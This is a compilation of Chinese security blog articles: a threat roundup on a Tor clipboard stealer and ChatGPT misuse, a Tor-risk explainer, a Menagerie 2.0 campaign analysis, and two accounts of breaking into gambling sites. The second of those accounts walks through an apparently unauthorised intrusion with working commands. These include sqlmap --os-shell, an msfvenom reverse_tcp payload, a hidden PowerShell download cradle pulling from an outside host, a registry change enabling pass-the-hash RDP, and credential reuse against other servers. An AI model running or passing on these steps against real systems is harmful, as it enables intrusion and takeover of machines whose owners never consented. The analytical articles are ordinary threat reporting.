對於零售公司(尤其是擁有許多分支機構的公司)來說,制定內部法規並向所有員工解釋技術支持或維護人員應該如何運作是很重要的。這至少可以防止對pos終端的未經授權的訪問。此外,提高員工對最新網絡威脅的意識總是一個好主意,這樣他們就不會那麼容易受到新的社會工程技巧的影響。
使用假冒Tor瀏覽器竊取加密貨幣研究人員最近發現了一個正在進行的加密貨幣盜竊活動,影響了52個國家的1.5萬多名用戶。攻擊者使用了一種已經存在了十多年的技術,最初是由銀行木馬用來替換銀行賬號的。然而,在最近的活動中,攻擊者使用木馬版的Tor瀏覽器來竊取加密貨幣。
目標從包含密碼保護的RAR文檔的第三方資源下載Tor瀏覽器的木馬化版本,密碼用於防止其被安全解決方案檢測到。一旦文件被釋放到目標計算機上,它就會在系統的自動啟動中自我註冊,並偽裝成一個流行應用程序(如uTorrent)的圖標。

惡意軟件一直等到剪貼板中出現錢包地址,然後將輸入的剪貼板內容的一部分替換為攻擊者自己的錢包地址。
對現有樣本的分析表明,這些攻擊目標的估計損失至少為40萬美元,但實際被盜金額可能要大得多,因為研究人員的研究只關注Tor瀏覽器濫用。其他活動可能使用不同的軟件和惡意軟件傳播方法,以及其他類型的錢包。
研究人員目前還無法確定一個承載安裝程序的網站,因此它可能是通過torrent下載或其他軟件下載程序傳播的。來自官方Tor項目的安裝程序是數字簽名的,不包含任何此類惡意軟件的跡象。因此,為了保證安全,你應該只從可靠和可信的來源下載軟件。即使有人下載了木馬化的版本,一個好的反病毒產品也應該能夠檢測到它。
還有一種方法可以檢查你的系統是否受到同類惡意軟件的攻擊。在記事本中輸入以下“比特幣地址”:
bc1heymalwarehowaboutyoureplacethisaddress
現在按Ctrl+C和Ctrl+V。如果地址更改為其他地址,則係統可能受到剪貼板注入器惡意軟件的危害,並且使用起來很危險。

我們建議你用安全軟件掃描你的系統。如果你不確定是否有隱藏的後門,那麼一旦系統被破壞,你就不應該信任它,直到它被重建。
利用ChatGPT發起攻擊自從OpenAI通過ChatGPT向公眾開放其大型GPT-3語言模型以來,人們對該項目的興趣猛增,爭相探索它的可能性,包括寫詩、參與對話、提供信息、為網站創建內容等等。
關於ChatGPT對安全格局的潛在影響,也有很多討論。
鑑於ChatGPT模仿人類互動的能力,使用ChatGPT的自動魚叉式網絡釣魚攻擊很可能已經發生了。 ChatGPT允許攻擊者在工業規模上生成有說服力的個性化電子郵件。此外,來自釣魚信息目標的任何回复都可以很容易地輸入聊天機器人的模型,在幾秒鐘內產生令人信服的後續活動。也就是說,雖然ChatGPT可能會讓攻擊者更容易偽造網絡釣魚信息,但它並沒有改變這種攻擊形式的本質。
攻擊者還在地下黑客論壇上介紹了他們如何使用ChatGPT創建新的木馬。由於聊天機器人能夠編寫代碼,如果有人描述了一個所需的功能,例如,“將所有密碼保存在文件X中,並通過HTTP POST發送到服務器Y”,他們可以在不具備任何編程技能的情況下創建一個簡單的信息竊取器。然而,這樣的木馬很可能是很低級的,並且可能包含效果較差的漏洞。至少就目前而言,聊天機器人只能編寫低級惡意軟件。
研究人員還發現了一個惡意活動,試圖利用ChatGPT日益流行的優勢。欺詐者創建了模仿愛好者社區的社交網絡群組。這些群組還包含預先創建的帳戶的虛假憑據,這些帳戶聲稱可以訪問ChatGPT。這些群組包含一個看似合理的鏈接,邀請人們下載一個虛假的Windows版ChatGPT。

該惡意鏈接安裝了一個木馬,可以竊取存儲在Chrome、Edge、Firefox、Brave和其他瀏覽器中的帳戶憑證。
由於安全研究人員經常發布有關攻擊者的報告,包括TTP(戰術、技術和程序)和其他指標,研究人員決定嘗試了解ChatGPT對安全格局的影響,以及它是否可以幫助常見的惡意工具和IoC,如惡意哈希和域。
基於主機的工件的響應看起來很有希望,所以研究人員指示ChatGPT編寫一些代碼,從測試Windows系統中提取各種元數據,然後問自己元數據是否是IoC:

由於某些代碼片段比其他代碼片段更方便,研究人員繼續手動開發這種概念驗證:他們過濾了ChatGPT響應包含關於IoC存在的“yes”語句的事件的輸出,添加了異常處理程序和CSV報告,修復了小漏洞,並將代碼片段轉換為單獨的cmdlet,從而生成了一個簡單的IoC掃描器HuntWithChatGPT.psm1,它能夠通過WinRM掃描遠程系統。
雖然對於OpenAI API來說,IoC掃描的精確實現目前可能不是一個非常划算的解決方案,因為每台主機需要15到20美元,但它顯示了有趣的結果,並為未來的研究和測試提供了機會。
人工智能對我們生活的影響將遠遠超出ChatGPT和其他當前機器學習項目的能力。 Ivan Kwiatkowski是卡巴斯基實驗全球研究和分析團隊的一名研究員,他最近探討了我們可以預期的長期變化的可能範圍。這些觀點不僅包括人工智能帶來的生產力提高,還包括它可能帶來的社會、經濟和政治變化的影響。
追踪用戶的數字足跡研究人員已經習慣了服務提供商、營銷機構和分析公司跟踪用戶的鼠標點擊、社交媒體帖子以及瀏覽器和流媒體服務的歷史記錄。公司這麼做有很多原因,他們希望更好地了解我們的偏好,並建議我們更有可能購買的產品和服務。他們這樣做是為了找出我們最關注的圖像或文本,甚至還向第三方出售我們的在線行為和偏好。
跟踪是使用網絡信標(又名追踪器像素和間諜像素)完成的。最流行的跟踪技術是將1×1甚至0x0像素的微小圖像插入電子郵件、應用程序或網頁。電子郵件客戶端或瀏覽器通過傳輸服務器記錄的有關用戶的信息來請求從服務器下載圖像。這包括時間、設備、操作系統、瀏覽器和下載像素的頁面。這就是信標操作員了解你打開電子郵件或網頁的方式以及方式。通常使用網頁中的一小段JavaScript來代替像素,它可以收集更詳細的信息。這些信標被放置在每個頁面或應用程序屏幕上,使公司可以在你上網的任何地方跟踪你。
在研究人員最近關於網絡追踪器的報告中,他們列出了網站和電子郵件中最常見的20個信標。網絡信標的數據基於卡巴斯基匿名統計數據,該組件阻止網站追踪器的加載。大多數公司至少與數字廣告和營銷有一定聯繫,包括谷歌、微軟、亞馬遜和甲骨文等科技巨頭。

電子郵件信標的數據來自卡巴斯基郵件產品的匿名反垃圾郵件檢測數據。列表中的公司是電子郵件服務提供商(ESP)或客戶關係管理(CRM)公司。

使用追踪器收集的信息不僅對合法公司有價值,對攻擊者也有價值。如果他們能夠獲得這些信息,例如,由於數據洩露,他們可以利用這些信息攻擊在線賬戶或發送虛假電子郵件。此外,攻擊者還利用網絡信標。你可以在此處找到有關如何保護自己免受跟踪的信息。
通過搜索引擎插入惡意廣告最近幾個月,研究人員觀察到使用谷歌廣告作為傳播惡意軟件手段的惡意活動數量有所增加。至少有兩個不同的竊取程序——Rhadamanthys和RedLine,它們濫用了搜索引擎推廣計劃,以便向受害者的電腦發送惡意有效負載。

他們似乎使用了與著名軟件(如Notepad++和Blender 3D)相關的網站模仿技術。攻擊者創建合法軟件網站的副本,並使用“誤植域名”(使用拼寫錯誤的品牌或公司名稱作為url)或“組合搶注”(如上所述,但添加任意單詞作為url)來使網站看起來合法。然後,他們付費在搜索引擎中推廣該網站,以將其推到搜索結果的首位。

惡意軟件的分佈表明,攻擊者的目標是全球範圍內的個人和企業受害者。
HireHackking

记一次某约P软件内带菠菜的站

前言
    喜欢看电影但又喜欢白嫖,所以经常在一些影视站点观看,偶尔会弹出一些色懒广告,最近公众号也没怎么更新就顺手找到一个色懒约P的广告试试由于尺度比较大打码比较严重简单总结
色懒视频---引用外部x站的播放源              2.选X----后台都是城市和百度的照片乱七八糟的介绍,假的       3.预约---菠菜游戏,通过诱导方式引导下注     看到这是不是心动了,在放一张后台的数据实战经过
    通过域名查ip找到找了后台,xx娱乐,扶墙找了一波源码,找到了类似源码以及搭建教程泄露了站点的ip一般的站点演示都附带了演示账号密码后台以及各种指纹特征
    通过演示站点的指纹和默认账号密码找到一批同类型的站点,基本都是通过色懒视频约p噱头引导玩菠菜    后台开奖预设,都是骗局,希望看到这里可以分享此篇文章给你的色懒朋友
    前期是通过找源码找演示站找指纹的方式搞进去的,还有一些站点,就是正常的渗透方式
    首先注册账号
    看到提示用户名可以自定义直接顺带上xss代码,比较鸡肋,后台很难触发     后台用户展示是这样,管理点击用户详细信息才会触发        还有就是基本上都是养鱼式引导,小额提现,大额各种阻挠    最后统计3k多人小台    找到管理员大概位置



转载于原文链接: https://mp.weixin.qq.com/s/IIyt-m1ul0UPXvocmwCfag
HireHackking

標題:企業使用Tor的潛在風險

下圖可以幫我們了解Tor匿名過程。
首先,我們假設使用者已經構建了一個Tor路徑,這意味著計算機已經選擇了三個Tor節點(運行Tor軟件的服務器)來中繼消息並獲得了每個節點的共享密鑰。

計算機首先對私有數據進行三層加密(上圖中的步驟1),這也是洋蔥名稱的由來。之後,使用者的計算機以相反的順序加密數據:首先使用最後一個退出節點的密鑰(Kn3),然後使用中間中繼節點的密鑰(Kn2),最後使用保護節點的密鑰(Kn1)。保護節點接收到數據後,使用Kn1 去除最外層的加密,並將解密的消息發送到中繼節點。中間節點使用Kn2 刪除下一層,並將其中繼到退出節點。最後,退出節點使用Kn3 解密消息並將原始數據發送到Web 服務器(在本例中是peel-the-orange[.]com)。分層加密實現了保密性,並限制了參與通信的人員,因為只有知道密鑰的節點才能解密消息。

上圖匯總了哪些節點知道哪些其他節點。守衛節點(guard node)知道使用者是誰以及下一個接收使用者消息的節點,即中間中繼節點。但是,守衛節點不知道最後的退出節點和使用者的最終目標地,因為只用Kn1解密,此時入口節點的消息仍然是亂碼。中繼節點知道的最少。它不知道誰是原始發送者或最終目標地,只知道入口和退出節點。退出節點知道中間中繼節點和目標服務器,而目標服務器只知道退出節點。
返回使用者的消息以類似的方式傳回,每個節點使用與使用者共享的密鑰添加一層加密。

上圖是全球Tor網絡中,使用者和監控者的示意圖。 Emilia代表使用者,Lemonheads代表監控者。當使用者使用Tor時,監控者只能觀察到使用者與入口節點的連接。即使他們對所傳遞的消息有完全的全局可見性,他們也很難跟踪使用者的消息,因為它們混入了所有Tor用戶的流量,而且每次消息傳遞到另一個節點時,加密層都會發生變化。如前所述,如果使用者使用單一的VPN 提供商,它將知道使用者訪問的網站。此外,監控者可以觀察來自VPN 服務器的傳入和傳出消息,並可能確定使用者正在訪問哪些網站。
一個奇怪的問題是:使用者如何在不暴露身份的情況下與Tor節點共享密鑰?要解決這個問題需要分兩步。
首先,兩個節點如何在任何人都可以讀取所有通信的公共網絡上合作創建一個只有他們知道的密鑰?答案是Diffie-Hellman key Exchange (DHE) 協議。首先,雙方需要各自生成他們自己的私有秘密,並將其組合成只有他們兩個人可以計算的共享秘密(Kn1。在實際應用中,基於橢圓密碼學的認證ECDHE來解決vanilla DHE 的問題。
此時,使用者可以訪問每個Tor節點,並分別與它們建立一個密鑰,但這會讓每個節點都知道使用者的身份。問題的第二部分是使用DHE建立密鑰。使用者的計算機並沒有直接與所有三個節點通信,而是在與入口節點建立密鑰後,用Kn1 對所有消息進行加密,並通過入口節點將消息發送到中繼節點。這意味著中繼節點只知道入口節點而不知道使用者。同樣,使用者的計算機用Kn2 和Kn1 加密DHE 消息,並將它們通過守衛節點和中繼節點發送到退出節點。
不幸的是,在使用者了解Tor並開始使用它之後,監控者開始審查與公開宣傳的Tor節點IP 的連接。為了安全,開發者開始運行秘密的Tor網橋(私下替換公開宣傳的入口節點),並一次只向少數用戶提供小批量的服務。
對使用者來說,更糟糕的是,研究人員發現他們可以通過掃描整個IPv4空間來發現Tor網橋。
總之,對於使用者來說,這是一場持續的貓捉老鼠遊戲。
Tor 的惡意和良性示例使用Tor的用戶可以可能是壞人也可能是好人。不管怎樣,人們可能會使用Tor訪問受地理限制的內容或規避政府的審查或機構的內容封鎖。例如,如果Tor流量沒有被阻止,高級URL過濾的客戶無法阻止使用Tor的員工規避基於分類的過濾。
Tor 還以其洋蔥服務而聞名。例如,Tor 有助於隱藏多個舉報人網站,用戶可以在這些網站上舉報其組織中的非法和不道德活動,而不必擔心遭到報復。洋蔥服務通過允許用戶僅使用Tor進行連接來保護其IP 地址的秘密。這個想法是,用戶和洋蔥服務都通過Tor連接,它們在中間的一個集合點(一個Tor節點)相遇。雖然這些洋蔥服務的目的不一定是為了使非法活動成為可能,但過去的研究發現,Tor用戶建立了很大一部分或大部分用於非法目的的隱藏服務。然而,只有6.7% 的Tor用戶連接到隱藏服務。與洋蔥服務相比,絕大多數用戶訪問不太可能是非法的那些網站。例如,超過100 萬人使用Tor查看Facebook 的隱藏服務,該服務允許來自政府審查的地區的訪問。
攻擊者也可以利用Tor進行他們的活動。攻擊通常從偵察開始,攻擊者探索目標的基礎設施並蒐索潛在漏洞,例如,通過掃描開放的端口和運行的服務。通過使用Tor,攻擊者可以隱藏他們的位置,並將他們的活動分佈到多個退出節點。
同樣,攻擊者可以使用Tor進行攻擊的後續步驟,例如利用偵察期間發現的漏洞、更新目標設備上的惡意代碼、命令和控制通信以及數據洩露。 Tor的其他惡意用途包括DoS 攻擊、虛假帳戶創建、垃圾郵件和網絡釣魚。
攻擊者以各種方式利用Tor進行勒索軟件攻擊。在Ryuk 和Egregor 勒索軟件的示例中,名為SystemBC 的初始遠程訪問木馬(RAT)使用Tor隱藏服務作為命令和控制通信的後門。在構建木馬攻擊時,使用Tor隱藏服務進行命令和控制非常有用,因為這使得命令和控制難以取消並保持其可訪問性,除非使用各種安全產品阻止與Tor的連接。 Gold Waterfall 攻擊組織在安裝DarkSide 勒索軟件時也使用Tor進行後門通信。 Tor隱藏的基於服務的洩漏網站也被用來託管與DarkSide 和Ranzy locker相關的被盜數據。此外,DoppelPaymer還利用Tor支付網站收取贖金。 Unit 42 最近發表了關於Cuba勒索軟件和BlueSky Ransomware勒索軟件的研究,前者使用基於Tor隱藏服務的洩漏網站,後者發送勒索通知,指示目標下載Tor瀏覽器,作為獲取文件訪問權的一部分。
Tor 的使用並不特定於針對服務器和個人計算機的惡意軟件。一種Android惡意軟件還使用Tor隱藏服務作為命令和控制服務器,使攻擊變得困難。
此外,研究人員發現Tor被用來發送各種惡意垃圾郵件,通常以評論和約會垃圾郵件的形式出現。研究人員還發現,通過Tor發送的電子郵件可能包含嚴重的威脅,包括AgentTesla RAT 的傳播、以Adobe 為主題的網絡釣魚電子郵件和Covid-19 貸款詐騙。
使用Tor的攻擊者是如何被抓住的?雖然Tor提供了比許多其他解決方案更好的匿名性,但它並不完美。
2013 年,一名哈佛學生試圖通過發送炸彈攻擊來逃避他的期末考試。他通過Tor連接到一個匿名電子郵件提供商以隱藏他的身份。然後他使用這個電子郵件提供商發送炸彈攻擊。雖然他正確使用了Tor,但當他從哈佛的wifi 網絡連接到Tor時,他犯了一個大錯誤。該生的錯誤是Tor只隱藏了使用者所做的事情,而不隱藏使用Tor的事實。學校管理者從電子郵件的標題中發現有人使用Tor發送電子郵件。他們從那個位置檢查了網絡日誌,看看是否有學生在學校收到郵件的時間內連接到Tor。
臭名昭著的洋蔥服務“絲綢之路”(Silk Road)的創始人羅斯马云惹不起马云烏布里希(Ross Ulbricht)也正確使用了洋蔥網絡,但他在操作上犯了另一個錯誤,導致他被捕。絲綢之路是當時最著名的暗網市場,賣家提供毒品、假鈔、偽造身份證件和槍支等商品。美國聯邦調查局(FBI)發現,早些時候,有人用“薄荷糖”(Altoid)這個筆名四處推銷絲綢之路。 8個月後,Ulbricht用這個筆名發布了招聘廣告,聯繫人是rossulbricht@gmail[.]com ,以聘請一名IT 專家,來幫助“一家由風投支持的比特幣創業公司”。據報導,聯邦調查局隨後能夠訪問Ulbricht使用的VPN 服務器的日誌和谷歌訪問他的Gmail 地址的日誌。這兩項記錄都指向了舊金山的一家網吧,並導致了他的被捕。
攻擊者可以通過其他方法對Tor用戶進行去匿名化,例如,通過使用JavaScript 或設置非法Tor節點(現在可能正在現實世界中發生)。關鍵是,雖然Tor確實提供了一定程度的匿名性,但用戶可以通過操作錯誤洩露他們的身份,或者如果追查者確定並擁有資源,他們可以被識別。
如何阻止攻擊者利用Tor
如何使用不同的方法來阻止攻擊者利用Tor。標記為Part 1* 和2* 的單元格表示需要同時使用這兩種解決方案來保護企業。
要阻止進出Tor網絡的流量,我們可以阻止公開發布的TorIP,或者識別和阻止Tor應用程序流量。上圖總結了每種阻止機制的示例。首先,我們可以使用已知退出節點IP 列表來阻止來自Tor的攻擊,例如偵察、利用、命令和控制通信、數據洩露和DoS 攻擊。使用已知保護節點IP 列表,我們可以阻止我們的用戶及其設備向Tor發送流量,並防止數據洩露、命令和控制通信、規避地理限制和內容阻止以及訪問.onion 網站。
由於Tor網橋節點列表未知,基於保護節點IP 的阻止只是部分解決方案。相反,我們可以使用Palo Alto Networks 流量分類系統App-ID 直接檢測和阻止Tor流量。除了使用可用的保護和橋接節點IP,App-ID 還會查看連接的特徵,例如使用的密碼套件或數據包的大小來識別Tor流量。
此外,攻擊者可以從Tor網絡或受感染的設備發起數據洩露以及命令和控制通信。因此,要阻止這些攻擊,最好同時使用基於退出IP 和基於流量分析的阻止。
Palo Alto Networks 收集所有公開宣傳的Tor退出IP,並利用它們建立一個電路來測試它們是否有效。已知且有效的Tor退出列表構成了Palo Alto Networks 預定義的Tor退出IP 外部動態列表。
使用Tor退出IP 外部動態列表和App-ID,研究人員觀察到企業使用Tor很常見,因為我們在一個月內確定了204 個客戶網絡中691 台設備上的6617473 個會話。
除了阻止Tor流量外,企業還可以利用Cortex XDR 等端點保護來覆蓋基於Tor的攻擊。 Cortex XDR 基於用戶和實體行為分析(UEBA)、端點檢測和響應(EDR)、網絡檢測和響應(NDR) 以及雲審計日誌來檢測以下活動:
與Tor中繼服務器的可能網絡連接;
來自Tor的成功VPN 連接;
從Tor成功登錄;
來自Tor退出節點的可疑API 調用;
來自Tor的SSO 成功登錄。
總結Tor 為其用戶提供匿名性,不過匿名性經常被不法分子利用,一方面,Tor 可以幫助人們改善隱私和保護舉報人。另一方面,Tor 可用於各種惡意活動,包括匿名偵察、數據盜竊、逃避地理限制、規避內容阻止以及在暗網上運行非法市場。
由於網絡犯罪分子經常將Tor用於惡意目標,因此建議在企業環境中禁止使用Tor。根據調查,企業使用Tor很常見,研究人員在一個月內發現了204 個客戶網絡上的691 台設備的6617473 個會話。

Palo Alto Networks 提供了兩種用於阻止Tor流量的解決方案,作為攻擊預防的一部分,最好一起使用。他們向客戶提供經過驗證的內置Tor退出IP 外部動態列表,他們可以使用該列表來阻止與Tor退出節點的連接。此外,可以使用Palo Alto Networks 流量分類系統App-ID 阻止企業網絡中的Tor流量。此外,客戶可以利用Cortex XDR 來提醒和響應端點設備、網絡或云中的Tor相關活動。
HireHackking

对某菠菜站点的渗透笔记

0x00 前言

闲着无聊,网上随便找了一个菠菜进行简单测试,并做笔记记录,大佬们轻喷,有什么不足之处请指教。
0x01 弱口令
访问网站就是一个登录页面,没有验证码直接bp开启,成功爆出弱口令admin/123456,直接进入后台。



0x02  注入拿下权限
翻看了很多功能点,在一处功能点发现上传接口,并尝试上传文件,发现无法上传,加了白名单。直接选择放弃,继续寻找。在某一个http://url/GroupMember.aspx?gid= 参数上加上单引号,直接报错,SQL注入这不就来了么。


说干就干,直接SQLMAP。

发现为MSSQL,且DBA权限,直接--os-shell

上线MSF
已经获取普通权限,接下来就是上线msf提权。msf生成powershell脚本,并放置在网站目录下。

msfvenom -p windows/x64/meterpreter/reverse_tcp LHOST=x.x.x.x LPORT=8888 -f psh-reflection >xx.ps1
Vps开启监听
使用powershell上线session
powershell.exe -nop -w hidden -c "IEX ((new-object net.webclient).downloadstring('http://x.x.x.x/xx.ps1'))"
如果想要通过url拼接堆叠执行powershell会存在一个问题,就是单引号闭合问题。我们可以通过对powershell进行编码一下,这样就可以绕过单引号的问题。下面推荐一个不错的网站。
https://r0yanx.com/tools/java_exec_encode/提权
session已经上线,接下来目标就是获取system权限。很幸运直接getsystem可以获取system权限。如果需要提权推荐土豆家族提权,实战中成功率很高,影响的服务器版本也很多。
迁移一下进程,防止进程掉线。
远程登录服务器
发现服务器开启3389端口,因为是system权限,且为2012系统,大于2008版本都是无法抓到明文密码,直接修改adminnistrator密码。(实战中不推荐直接修改管理员密码)

利用hash远程登录管理员账号
因为是win2012无法获取明文密码,直接修改管理员密码稍有些不妥。尝试通过获取管理员NTLM远程登录机器。(并非同一台,这只是提供一个思路)
使用hash远程登录RDP,需要开启"Restricted Admin Mode"
REG ADD "HKLM\System\CurrentControlSet\Control\Lsa" /v DisableRestrictedAdmin /t REG_DWORD /d 00000000 /f //开启Restricted Admin modeREG query "HKLM\System\CurrentControlSet\Control\Lsa" | findstr "DisableRestrictedAdmin" //查看是否已开启0x0则表示开启REG ADD "HKLM\System\CurrentControlSet\Control\Lsa" /v DisableRestrictedAdmin /t REG_DWORD /d 00000000 /f //开启Restricted Admin modeREG query "HKLM\System\CurrentControlSet\Control\Lsa" | findstr "DisableRestrictedAdmin" //查看是否已开启0x0则表示开启
成功利用hash远程管理员桌面

04
0x03 其他
前期发现1433端口开放着,寻找数据库配置文件,登录数据库。


通过fofa找了一下,资产还是挺多的,且很多都开放1433端口,猜测会存在同一个人部署的网站,尝试用获取的密码对这些资产的1433端口进行爆破,成功撞到几台数据库,且都是sa权限。结束。





转载于原文链接: https://mp.weixin.qq.com/s/kj55hbZMC9jF6xmbzXWu4whttps://xz.aliyun.com/t/12501

HireHackking

標題:Menagerie2.0:一個高速迭代的攻擊

Unit 42的研究人員發現,從2020年末到2022年末,發生了一系列針對美國和歐盟幾家網絡託管和IT提供商的攻擊活動,研究人員將其編號為CL-CRI-0021,並認為其幕後攻擊者是Menagerie。
攻擊者在被劫持的設備上部署挖礦程序,以盜竊受攻擊服務器的資源。他們通過大規模部署web shell,來進一步增加持強起持續訪問能力,並進一步訪問受攻擊網站的內部資源。這樣一來,攻擊者就有可能把被劫持的合法網站(由目標網絡託管和IT提供商託管)大規模地變成指揮和控制(C2)服務器,從而影響數千個網頁。因此,攻擊者可以從具有良好聲譽的合法網站運行他們的C2活動,這些網站不一定被安全解決方案標記為惡意。這可能會對被濫用的合法網站產生巨大的影響,在這種情況下,這些網站會在不知情的情況下託管惡意內容和隱藏攻擊活動。此類攻擊活動可能對網站所有者或網絡託管公司造成負面影響。
在受害者的網絡中,攻擊者嘗試了多種技術來逃避各種檢測。他們還繼續執行有效負載,重新部署和重新運行以前被阻止的工具,或者使用其他類似的工具。總之,攻擊者試圖不用已知的惡意軟件,通過引入定制工具和依賴公開可用的合法工具來躲避檢測。
根據研究人員在這次攻擊中觀察到的戰術、技術和程序(TTP),之前被稱為Menagerie的攻擊者實施了上述攻擊,因此本文將其稱之為“Menagerie2.0”。
據澳大利亞網絡安全中心報導,該攻擊者至少從2018年就開始活躍,目標是澳大利亞的網絡託管公司。
初始訪問和持久化“Menagerie2.0”活動是在2020年底首次發現的,目標是美國和歐盟的公司。在此活動中,攻擊者通過利用易受攻擊的web應用程序和IIS服務器,並在這些受攻擊的服務器上部署不同的web shell,獲得了對目標設備的訪問權限。
在活動的web服務器上部署web shell允許攻擊者劫持合法網站。 webshell被放置在這些託管網站的C:\[hosted websites on the server path]\wwwroot\example.com\webshell.aspx文件夾中。
這些操作還允許將來從受害者的網絡外部公開訪問,這可以讓這些網站變成攻擊者未來的C2服務器。研究人員還觀察到同樣的web shell,即xn.aspx,目標是澳大利亞的網絡主機公司。
在Manic Menagerie 2.0中部署web shell後,攻擊者開始部署挖礦程序。這樣做很可能是為了濫用受損服務器強大的計算資源,通過挖礦獲取目標的錢財。
2021-2022年期間,在公開披露多個Microsoft Exchange Server漏洞後,攻擊者試圖在一些目標中利用以下漏洞:
CVE-2021-26855、CVE-2022-41040:(ProxyNotShell)Exchange Server SSRF漏洞;
CVE-2021-34473:ProxyShell漏洞之一,Exchange Server遠程代碼執行漏洞;
CVE-2021-33766(ProxyToken):允許攻擊者修改任意用戶的郵箱配置;
因此,除了IIS服務器中的漏洞和環境中易受攻擊的web應用程序之外,前面提到的漏洞還為攻擊者提供了另一個滲透和持久性載體。
偵察功能和權限升級從2020年底開始,參與Menagerie 2.0活動的攻擊者開始定期嘗試執行本地權限升級,以將自己的用戶添加到IIS服務器中的管理員組中,以進一步提升他們的攻擊能力。當一個工具失敗時,他們會嘗試用另一個具有類似功能的工具。
攻擊者使用了一個名為RunasCs的runas.exe.NET封裝器。此公開可用的工具啟用了原始runas.exe實用程序所缺乏的擴展功能,例如通過使用用戶憑據明文執行進程。
觀察到攻擊者試圖通過在易受攻擊的web應用程序下運行,在受攻擊的環境中執行進一步的網絡偵察。然後,他們試圖通過運行au.exe來添加自己的用戶,au.exe是“add user”的縮寫。該文件必須由已提升的用戶運行。然後,他們通過運行net命令來確保他們的用戶名存在。
他們對用戶名iis_user和iis_users的使用是值得注意的,因為後者最初可能看起來是一個拼寫錯誤。

au.exe創建iis_user用戶並為其生成密碼
前面提到的au.exe是一個攻擊者試圖多次運行的工具,它與不同的PoC本地權限提升工具鏈接在一起,如下圖所示。

試圖在易受攻擊的web應用程序下執行RunasCs和其他命令
可以看到攻擊者使用多個工具來實現相同的權限升級,如上圖所示,64位版本的PrintSpoofer就是其中一個工具。這個公共工具被攻擊者用來提升au.exe,否則它就不會添加它想要添加的用戶。
fork炸彈(fork bomb)和更多本地權限升級據觀察,攻擊者利用以下漏洞,試圖使用多個公開可用的工具升級本地權限(LPE):
CVE-2018-8120
CVE-2019-0623
CVE-2019-0803
CVE-2019-1458
研究人員在Menagerie 2.0中觀察到的另一個有趣的執行是svchost.exefork炸彈。 ACSC關於Menagerie活動的報告也提到了這種類型的拒絕服務(DoS)工具的存在。
這個fork炸彈的代碼非常簡單,因為它在一個無限循環中運行,會打開越來越多程序,直到設備耗盡內存。此活動旨在使設備崩潰並強制重新啟動。這允許需要重新啟動才能開始的可執行文件的持久性機制。

fork炸彈二進製文件中的無限循環代碼片段
dllnc.dll:運行有效負載和添加用戶工具研究人員在Menagerie 2.0活動中觀察到的另一個名為dllnc的工具有兩個主要功能。一個是加載攻擊者的一些可執行文件和批處理文件,另一個是作為另一個工具,用於將攻擊者的用戶添加到管理員組。
它包含一個指示PDB路徑:F:\upfile\3389\opents\dlladduser\x64\Release\dllnc.pdb,截至2023年5月中旬,其在VirusTotal中沒有產生任何其他結果。這表明,這是針對特定目標的自定義工具。
加載程序代碼段試圖加載一些它認為已經在攻擊者路徑中的工具(如圖4所示),因為沒有檢查它們是否實際存在。在這樣做的同時,它考慮了幾種可能的硬編碼路徑,其中大多數都出現在這次攻擊活動中。


攻擊者工具的硬編碼路徑,如dllnc.dll中所示
然後,該工具刪除當前的iis_user用戶,然後重新添加它,這次是使用硬編碼的密碼。同樣,這種行為與ACSC關於原始瘋狂Menagerie運動的報告有關。該報告中也提到了相對ID(RID)劫持工具的一個舊變體(如圖5所示),類似於這種行為。

RID劫持工具
這兩種變體中的密碼有著明顯的、非常相似的地方,因為它們都使用xman前綴和類似的後綴。

用戶iis_user及其硬編碼密碼
PCHunterPCHunter是被觀察到的另一個被Menagerie 2.0活動使用的工具,它讓人想起GMER和Rootkit Unhooker等老工具。它是一個合法的和強大的工具包,用於瀏覽和修改不同的Windows內部組件。下圖顯示了試圖執行被阻止的PCHunter。

下圖顯示了“Epoolsoft Corporation”的PCHunter數字簽名。中文評論提供了該工具的快速描述。這被翻譯為“Yipmin是一個Windows系統信息查看工具(安全類別)。”

PCHunter簽名者信息
大規模後門:將已知的Web Shell部署到多個目的地在Menagerie 2.0活動中觀察到的第二波明顯的攻擊主要是在託管網站大規模部署web shell。這使得攻擊者能夠通過允許他們未來的公共訪問來加強他們的攻擊立足點,並將他們的web shell隱藏在嵌套文件夾深處。這些合法被劫持的網站將來可能會被用作C2服務器,例如,作為殭屍網絡基礎設施的一部分。
攻擊者的部署嘗試可以追溯到2022年初,當時他們在多個託管網站上部署了名為ASPXSpy的已知web shell,他們觀察到這個web shell被寫入了數百個不同的路徑,如下圖所示。

ASPXSpy web shell被寫入不同的託管網站路徑
GoIIS攻擊者還運行了一個名為IIS1.asp或GoIIS.exe的工具,該工具於2017年編譯。該工具是用Golang編寫的,用於遍歷服務器的文件夾以檢索服務器的配置信息。這使攻擊者能夠獲得有關被攻擊服務器的寶貴信息。

IIS工具
Sh.exe:自定義Web Shell部署工具2022年末,攻擊者部署了一個名為sh.exe的自定義工具,作為Menagerie 2.0活動的一部分,其執行情況如下圖所示。該工具的作用是根據共享相同公共IP地址的服務器上預先配置的路徑和合法被劫持網站的列表,在託管網站大規模編寫web shell。
為了方便使用此工具,攻擊者使用了caclcs.exe的自定義封裝器,攻擊者將其命名為mycacls.com,這是一個用於管理訪問控制列表(ACL)的命令行工具。該工具使他們能夠批量更改web服務器的ACL權限,並降低IIS安全設置。

嘗試與其他工具和命令一起執行sh.exe,但被Cortex XDR阻止
傳遞給sh.exe的參數包含共享相同公共IP的相關網站列表。在執行時,sh.exe工俱生成各種看起來合法的子文件夾,例如圖像和css,以進一步隱藏它們的活動。這可能是為了讓攻擊者將來能夠從互聯網訪問受害者的設備,並可能在將來大規模地使用該基礎設施作為C2服務器。
sh.exe使用'Fujian identical investment co.Ltd.'頒發的無效證書籤名,如下圖所示。這與ACSC報告在活動中描述的用於簽署另一個工具的名稱相同。
在觀察到的樣本中,sh.exe是在2022年11月3日編譯的。其證書於2022年12月6日簽署。簽署後不久,就可以看到攻擊者在其中一個受攻擊的環境中執行sh.exe。無效證書的編譯時間戳和日期範圍可能表明該工具是專門為此特定活動製作的。

Sh.exe無效簽名
雖然攻擊者刪除了大部分文件,但研究人員發現sh.exe和它釋放的文件之間存在無法恢復的連接。調查發現了攻擊者使用的三個不同的已編譯.NET DLL。
一旦“原始”ASPX文件第一次被訪問,這些dll將由IIS服務器編譯。在對代碼進行反編譯後,基於在兩個文件中發現的指示字符串,在web shell和sh.exe之間發現了有趣的相似之處。
瀏覽其中一個被web shell釋放的網站,頁面上的內容是字符串ONEPIECE,如下圖所示。

瀏覽其中一個被劫持網站的web shell資源
瀏覽其中一個web shell的代碼並查看負責顯示HTML內容的代碼,可以看到該字符串以及其他指示字符串,如x_best_911。

